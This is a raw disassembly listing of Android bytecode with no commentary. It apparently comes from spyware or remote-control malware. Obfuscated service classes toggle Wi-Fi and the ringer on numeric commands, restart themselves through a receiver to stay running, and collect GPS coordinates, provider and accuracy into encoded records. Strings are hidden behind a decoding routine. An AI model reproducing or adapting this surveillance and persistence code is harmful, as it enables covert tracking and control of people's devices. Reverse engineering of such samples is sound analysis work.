    000825b4invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$7;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000825bainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000825c0invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000825c6return-void
    0008259c
    000825c8
    000825c8cmf0.c3b5bm90zq.patch.C11::d(java.lang.String, java.lang.String):
    000825d8new-instance v0, Ljava/lang/Thread;
    000825dcnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$20;
    000825e0invoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11$20;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    000825e6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000825ecinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000825f2return-void
    000825c8
    000825f4
    000825f4cmf0.c3b5bm90zq.patch.C11::e():
    00082604new-instance v0, Ljava/lang/Thread;
    00082608new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$16;
    0008260cinvoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$16;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    00082612invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082618invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008261ereturn-void
    000825f4
    00082620
    00082620cmf0.c3b5bm90zq.patch.C11::e(java.lang.String):
    00082630new-instance v0, Ljava/lang/Thread;
    00082634new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$11;
    00082638invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$11;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    0008263einvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082644invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008264areturn-void
    00082620
    0008264c
    0008264ccmf0.c3b5bm90zq.patch.C11::e(java.lang.String, java.lang.String):
    0008265cnew-instance v0, Ljava/lang/Thread;
    00082660new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$22;
    00082664invoke-direct {v1, v2, v4, v3}, Lcmf0/c3b5bm90zq/patch/C11$22;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    0008266ainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082670invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00082676return-void
    0008264c
    00082678
    00082678cmf0.c3b5bm90zq.patch.C11::f():
    00082688new-instance v0, Ljava/lang/Thread;
    0008268cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$17;
    00082690invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$17;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    00082696invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    0008269cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000826a2return-void
    00082678
    000826a4
    000826a4cmf0.c3b5bm90zq.patch.C11::f(java.lang.String):
    000826b4new-instance v0, Ljava/lang/Thread;
    000826b8new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$14;
    000826bcinvoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$14;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000826c2invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000826c8invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000826cereturn-void
    000826a4
    000826d0
    000826d0cmf0.c3b5bm90zq.patch.C11::g():
    000826e0new-instance v0, Ljava/lang/Thread;
    000826e4new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$24;
    000826e8invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$24;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    000826eeinvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000826f4invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000826fareturn-void
    000826d0
    000826fc
    000826fccmf0.c3b5bm90zq.patch.C11::g(java.lang.String):
    0008270cinvoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
    00082712move-result v4
    00082714invoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    0008271amove-result-object v0
    0008271cconst-string v1, "wifi"
    00082720invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00082726move-result-object v0
    00082728check-cast v0, Landroid/net/wifi/WifiManager;
    0008272cconst-string v1, "audio"
    00082730invoke-virtual {v3, v1}, Lcmf0/c3b5bm90zq/patch/C11;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00082736move-result-object v1
    00082738check-cast v1, Landroid/media/AudioManager;
    0008273ciput-object v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->ah:Landroid/media/AudioManager;
    00082740const/4 v1, 0x0
    00082742const/4 v2, 0x1
    00082744packed-switch v4, :pswitch_data_3e
    0008274agoto :goto_3d
    0008274cinvoke-virtual {v0, v1}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
    00082752invoke-virtual {v0, v2}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
    00082758goto :goto_3d
    0008275ainvoke-virtual {v0, v1}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
    00082760goto :goto_3d
    00082762iget-object v4, v3, Lcmf0/c3b5bm90zq/patch/C11;->ah:Landroid/media/AudioManager;
    00082766invoke-virtual {v4, v1}, Landroid/media/AudioManager;->setRingerMode(I)V
    0008276cgoto :goto_3d
    0008276eiget-object v4, v3, Lcmf0/c3b5bm90zq/patch/C11;->ah:Landroid/media/AudioManager;
    00082772invoke-virtual {v4, v2}, Landroid/media/AudioManager;->setRingerMode(I)V
    00082778goto :goto_3d
    0008277aiget-object v4, v3, Lcmf0/c3b5bm90zq/patch/C11;->ah:Landroid/media/AudioManager;
    0008277econst/4 v0, 0x2
    00082780invoke-virtual {v4, v0}, Landroid/media/AudioManager;->setRingerMode(I)V
    00082786return-void
    00082788.packed-switch 0x0
    000826fc
    000827a8
    000827a8 struct try_item
    000827a8 start_addr uint32 0x8270c
    000827ac insn_count int 61
    000827ae handler_off uint16 0x827b1
    000827b0
    000827b0 struct encoded_catch_handler_list
    000827b0 size int 1
    000827b1
    000827b1 struct encoded_catch_handler ← 0x827ae
    000827b1 size int64 1
    000827b2 handlers[0].type_idx int 0x5994
    000827b4 handlers[0].addr uint32 0x82786
    000827b5
    000827b5 // align 0x8
    000827b8
    000827b8cmf0.c3b5bm90zq.patch.C11::h(java.lang.String):
    000827c8new-instance v0, Ljava/lang/Thread;
    000827ccnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$27;
    000827d0invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$27;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000827d6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000827dcinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000827e2return-void
    000827b8
    000827e4
    000827e4cmf0.c3b5bm90zq.patch.C11::i(java.lang.String):
    000827f4new-instance v0, Ljava/lang/Thread;
    000827f8new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$28;
    000827fcinvoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$28;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    00082802invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082808invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008280ereturn-void
    000827e4
    00082810
    00082810cmf0.c3b5bm90zq.patch.C11::onBind(android.content.Intent):
    00082820const/4 v1, 0x0
    00082822return-object v1
    00082810
    00082824
    00082824cmf0.c3b5bm90zq.patch.C11::onCreate():
    00082834invoke-super {v4}, Landroid/app/Service;->onCreate()V
    0008283asget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008283econst-wide/16 v2, 0x1
    00082842invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082848move-result-object v0
    0008284asput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->e:Ljava/lang/String;
    0008284esget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082852const-wide/16 v2, 0x2
    00082856invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008285cmove-result-object v0
    0008285esput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082862sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082866const-wide/16 v2, 0x3
    0008286ainvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082870move-result-object v0
    00082872sput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->g:Ljava/lang/String;
    00082876sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008287aconst-wide/16 v2, 0x4
    0008287einvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082884move-result-object v0
    00082886sput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->h:Ljava/lang/String;
    0008288asget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008288econst-wide/16 v2, 0x5
    00082892invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082898move-result-object v0
    0008289asput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->i:Ljava/lang/String;
    0008289einvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    000828a4move-result-object v0
    000828a6invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/a;->f(Landroid/content/Context;)Landroid/app/Notification;
    000828acmove-result-object v0
    000828aeif-eqz v0, :cond_44
    000828b2const/16 v1, 0x7d3
    000828b6invoke-virtual {v4, v1, v0}, Lcmf0/c3b5bm90zq/patch/C11;->startForeground(ILandroid/app/Notification;)V
    000828bcnew-instance v0, Lcmf0/c3b5bm90zq/patch/C8;
    000828c0invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C8;-><init>()V
    000828c6iput-object v0, v4, Lcmf0/c3b5bm90zq/patch/C11;->E:Landroid/content/BroadcastReceiver;
    000828canew-instance v0, Landroid/content/IntentFilter;
    000828ceinvoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V
    000828d4const-string v1, "android.intent.action.ACTION_POWER_CONNECTED"
    000828d8invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
    000828deconst-string v1, "android.intent.action.ACTION_POWER_DISCONNECTED"
    000828e2invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
    000828e8iget-object v1, v4, Lcmf0/c3b5bm90zq/patch/C11;->E:Landroid/content/BroadcastReceiver;
    000828ecinvoke-virtual {v4, v1, v0}, Lcmf0/c3b5bm90zq/patch/C11;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
    000828f2iget-object v0, v4, Lcmf0/c3b5bm90zq/patch/C11;->n:Landroid/content/BroadcastReceiver;
    000828f6new-instance v1, Landroid/content/IntentFilter;
    000828faconst-string v2, "android.os.action.DEVICE_IDLE_MODE_CHANGED"
    000828feinvoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
    00082904invoke-virtual {v4, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
    0008290ainvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C11;->a()V
    00082910return-void
    00082824
    00082912
    00082912 struct code_item_padding
    00082912 padding uint16 0x0000
    00082914
    00082914 struct try_item
    00082914 start_addr uint32 0x8289e
    00082918 insn_count int 15
    0008291a handler_off uint16 0x82925
    0008291c
    0008291c struct try_item
    0008291c start_addr uint32 0x828f2
    00082920 insn_count int 12
    00082922 handler_off uint16 0x82929
    00082924
    00082924 struct encoded_catch_handler_list
    00082924 size int 2
    00082925
    00082925 struct encoded_catch_handler ← 0x8291a
    00082925 size int64 1
    00082926 handlers[0].type_idx int 0x5994
    00082928 handlers[0].addr uint32 0x828bc
    00082929
    00082929 struct encoded_catch_handler ← 0x82922
    00082929 size int64 1
    0008292a handlers[0].type_idx int 0x5994
    0008292c handlers[0].addr uint32 0x8290a
    0008292d
    0008292d // align 0x10
    00082930
    00082930cmf0.c3b5bm90zq.patch.C11::onDestroy():
    00082940sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082944invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    0008294amove-result-object v1
    0008294cconst-string v2, "4"
    00082950sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082954const-wide/16 v5, 0x6c
    00082958invoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008295emove-result-object v3
    00082960invoke-virtual {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
    00082966invoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->v()V
    0008296cinvoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->w()V
    00082972invoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->t()V
    00082978const/4 v0, 0x0
    0008297asput-boolean v0, Lcmf0/c3b5bm90zq/patch/C11;->A:Z
    0008297einvoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->y()V
    00082984invoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->q()V
    0008298ainvoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->x()V
    00082990sget-boolean v1, Lcmf0/c3b5bm90zq/patch/C11;->k:Z
    00082994if-eqz v1, :cond_57
    00082998sget-boolean v1, Lcmf0/c3b5bm90zq/patch/C6;->c:Z
    0008299cif-eqz v1, :cond_57
    000829a0new-instance v1, Landroid/content/Intent;
    000829a4invoke-direct {v1}, Landroid/content/Intent;-><init>()V
    000829aainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getResources()Landroid/content/res/Resources;
    000829b0move-result-object v2
    000829b2const v3, 0x7f0c0026
    000829b8invoke-virtual {v2, v3}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000829bemove-result-object v2
    000829c0sput-object v2, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
    000829c4sget-object v2, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
    000829c8invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
    000829cesget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000829d2const-wide/16 v4, 0x5c
    000829d6invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000829dcmove-result-object v2
    000829deconst-string v3, "/exit/chat/"
    000829e2invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
    000829e8invoke-virtual {v7, v1}, Lcmf0/c3b5bm90zq/patch/C11;->sendBroadcast(Landroid/content/Intent;)V
    000829eeiget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C11;->n:Landroid/content/BroadcastReceiver;
    000829f2if-eqz v1, :cond_60
    000829f6iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C11;->n:Landroid/content/BroadcastReceiver;
    000829fainvoke-virtual {v7, v1}, Lcmf0/c3b5bm90zq/patch/C11;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
    00082a00iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C11;->E:Landroid/content/BroadcastReceiver;
    00082a04if-eqz v1, :cond_69
    00082a08iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C11;->E:Landroid/content/BroadcastReceiver;
    00082a0cinvoke-virtual {v7, v1}, Lcmf0/c3b5bm90zq/patch/C11;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
    00082a12invoke-static {v0}, Ljava/lang/System;->exit(I)V
    00082a18invoke-super {v7}, Landroid/app/Service;->onDestroy()V
    00082a1ereturn-void
    00082930
    00082a20
    00082a20 struct try_item
    00082a20 start_addr uint32 0x829ee
    00082a24 insn_count int 18
    00082a26 handler_off uint16 0x82a29
    00082a28
    00082a28 struct encoded_catch_handler_list
    00082a28 size int 1
    00082a29
    00082a29 struct encoded_catch_handler ← 0x82a26
    00082a29 size int64 1
    00082a2a handlers[0].type_idx int 0x5994
    00082a2c handlers[0].addr uint32 0x82a12
    00082a2d
    00082a2d // align 0x10
    00082a30
    00082a30cmf0.c3b5bm90zq.patch.C13::<init>():
    00082a40invoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00082a46return-void
    00082a30
    00082a48
    00082a48cmf0.c3b5bm90zq.patch.C13::a(java.lang.Class, android.content.Context):
    00082a58const-string v0, "activity"
    00082a5cinvoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00082a62move-result-object v4
    00082a64check-cast v4, Landroid/app/ActivityManager;
    00082a68const v0, 0x7fffffff
    00082a6einvoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00082a74move-result-object v4
    00082a76invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00082a7cmove-result-object v4
    00082a7einvoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00082a84move-result v0
    00082a86if-eqz v0, :cond_31
    00082a8ainvoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00082a90move-result-object v0
    00082a92check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    00082a96invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00082a9cmove-result-object v1
    00082a9eiget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    00082aa2invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00082aa8move-result-object v0
    00082aaainvoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00082ab0move-result v0
    00082ab2if-eqz v0, :cond_13
    00082ab6const/4 v3, 0x1
    00082ab8return v3
    00082abaconst/4 v3, 0x0
    00082abcreturn v3
    00082a48
    00082abe
    00082abe // align 0x10
    00082ac0
    00082ac0cmf0.c3b5bm90zq.patch.C13::onReceive(android.content.Context, android.content.Intent):
    00082ad0iput-object v2, v1, Lcmf0/c3b5bm90zq/patch/C13;->a:Landroid/content/Context;
    00082ad4const-class v2, Lcmf0/c3b5bm90zq/patch/C11;
    00082ad8iget-object v3, v1, Lcmf0/c3b5bm90zq/patch/C13;->a:Landroid/content/Context;
    00082adcinvoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C13;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    00082ae2move-result v2
    00082ae4if-nez v2, :cond_1a
    00082ae8new-instance v2, Landroid/content/Intent;
    00082aeciget-object v3, v1, Lcmf0/c3b5bm90zq/patch/C13;->a:Landroid/content/Context;
    00082af0const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    00082af4invoke-direct {v2, v3, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00082afaiget-object v3, v1, Lcmf0/c3b5bm90zq/patch/C13;->a:Landroid/content/Context;
    00082afeinvoke-virtual {v3, v2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    00082b04return-void
    00082ac0
    00082b06
    00082b06 struct code_item_padding
    00082b06 padding uint16 0x0000
    00082b08
    00082b08 struct try_item
    00082b08 start_addr uint32 0x82ad0
    00082b0c insn_count int 26
    00082b0e handler_off uint16 0x82b11
    00082b10
    00082b10 struct encoded_catch_handler_list
    00082b10 size int 1
    00082b11
    00082b11 struct encoded_catch_handler ← 0x82b0e
    00082b11 size int64 1
    00082b12 handlers[0].type_idx int 0x5994
    00082b14 handlers[0].addr uint32 0x82b04
    00082b15
    00082b15 // align 0x8
    00082b18
    00082b18cmf0.c3b5bm90zq.patch.C15$1::<init>(cmf0.c3b5bm90zq.patch.C15):
    00082b28iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082b2cinvoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00082b32return-void
    00082b18
    00082b34
    00082b34cmf0.c3b5bm90zq.patch.C15$1::onLocationChanged(android.location.Location):
    00082b44if-eqz v7, :cond_123
    00082b48iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082b4cinvoke-virtual {v7}, Landroid/location/Location;->getLongitude()D
    00082b52move-result-wide v1
    00082b54invoke-static {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/C15;->a(Lcmf0/c3b5bm90zq/patch/C15;D)D
    00082b5aiget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082b5einvoke-virtual {v7}, Landroid/location/Location;->getLatitude()D
    00082b64move-result-wide v1
    00082b66invoke-static {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/C15;->b(Lcmf0/c3b5bm90zq/patch/C15;D)D
    00082b6ciget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082b70new-instance v1, Ljava/lang/StringBuilder;
    00082b74invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00082b7asget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082b7econst-wide/16 v4, 0x49
    00082b82invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082b88move-result-object v2
    00082b8ainvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082b90sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082b94invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082b9asget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082b9econst-wide/16 v4, 0x6b
    00082ba2invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082ba8move-result-object v2
    00082baainvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082bb0sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082bb4invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082bbaiget-object v2, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082bbeinvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C15;->a(Lcmf0/c3b5bm90zq/patch/C15;)D
    00082bc4move-result-wide v2
    00082bc6invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    00082bccsget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082bd0invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082bd6iget-object v2, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082bdainvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C15;->b(Lcmf0/c3b5bm90zq/patch/C15;)D
    00082be0move-result-wide v2
    00082be2invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    00082be8sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082becinvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082bf2invoke-virtual {v7}, Landroid/location/Location;->getProvider()Ljava/lang/String;
    00082bf8move-result-object v2
    00082bfainvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082c00sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082c04invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082c0ainvoke-virtual {v7}, Landroid/location/Location;->getAccuracy()F
    00082c10move-result v2
    00082c12invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
    00082c18invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00082c1emove-result-object v1
    00082c20invoke-static {v0, v1}, Lcmf0/c3b5bm90zq/patch/C15;->a(Lcmf0/c3b5bm90zq/patch/C15;Ljava/lang/String;)Ljava/lang/String;
    00082c26iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c2ainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C15;->c(Lcmf0/c3b5bm90zq/patch/C15;)Ljava/lang/String;
    00082c30move-result-object v0
    00082c32iget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c36invoke-static {v1}, Lcmf0/c3b5bm90zq/patch/C15;->d(Lcmf0/c3b5bm90zq/patch/C15;)Ljava/lang/String;
    00082c3cmove-result-object v1
    00082c3eif-eq v0, v1, :cond_123
    00082c42iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c46iget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c4ainvoke-static {v1}, Lcmf0/c3b5bm90zq/patch/C15;->c(Lcmf0/c3b5bm90zq/patch/C15;)Ljava/lang/String;
    00082c50move-result-object v1
    00082c52invoke-static {v0, v1}, Lcmf0/c3b5bm90zq/patch/C15;->b(Lcmf0/c3b5bm90zq/patch/C15;Ljava/lang/String;)Ljava/lang/String;
    00082c58sget-object v0, Lcmf0/c3b5bm90zq/patch/C15;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082c5ciget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c60invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    00082c66move-result-object v1
    00082c68iget-object v2, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c6cinvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C15;->b(Lcmf0/c3b5bm90zq/patch/C15;)D
    00082c72move-result-wide v2
    00082c74invoke-static {v2, v3}, Ljava/lang/String;->valueOf(D)Ljava/lang/String;
    00082c7amove-result-object v2
    00082c7cconst-string v3, "long"
    00082c80invoke-virtual {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
    00082c86sget-object v0, Lcmf0/c3b5bm90zq/patch/C15;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082c8aiget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c8einvoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    00082c94move-result-object v1
    00082c96iget-object v2, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082c9ainvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C15;->a(Lcmf0/c3b5bm90zq/patch/C15;)D
    00082ca0move-result-wide v2
    00082ca2invoke-static {v2, v3}, Ljava/lang/String;->valueOf(D)Ljava/lang/String;
    00082ca8move-result-object v2
    00082caaconst-string v3, "lat"
    00082caeinvoke-virtual {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
